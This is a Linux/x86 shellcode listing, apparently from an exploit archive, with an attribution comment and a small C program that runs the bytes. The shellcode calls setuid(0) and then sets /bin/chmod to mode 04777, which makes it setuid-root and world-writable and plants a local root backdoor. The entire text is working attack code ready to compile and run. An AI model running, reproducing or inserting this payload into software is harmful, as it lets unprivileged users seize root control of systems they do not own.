Linux/x86 shellcode that performs a chmod of 4777.
21f2087e480420ecfc1a29131d4e4f7d9ae013c5ba5f9bf03b7b9ca6cdcf21fe
/* x86/linux shellcode by r3b00t <r3b00t@tx.pl> */
char shellcode[] =
/* setuid(0) */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */
/* chmod("/bin/chmod", 04777) */
"\x31\xd2" /* xor %edx,%edx */
"\x66\xb9\xff\x09" /* mov $0x9ff,%cx */
"\x52" /* push %edx */
"\x68\x68\x6d\x6f\x64" /* push $0x646f6d68 */
"\x68\x6e\x2f\x2f\x63" /* push $0x632f2f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* mov %esp,%ebx */
"\xb0\x0f" /* mov $0xf,%al */
"\xcd\x80" /* int $0x80 */
/* exit() */
"\xb0\x01" /* mov $0x1,%al */
"\xcd\x80" /* int $0x80 */
;
int main() {
void (*f)() = (void*)shellcode;
f();
return 0;
}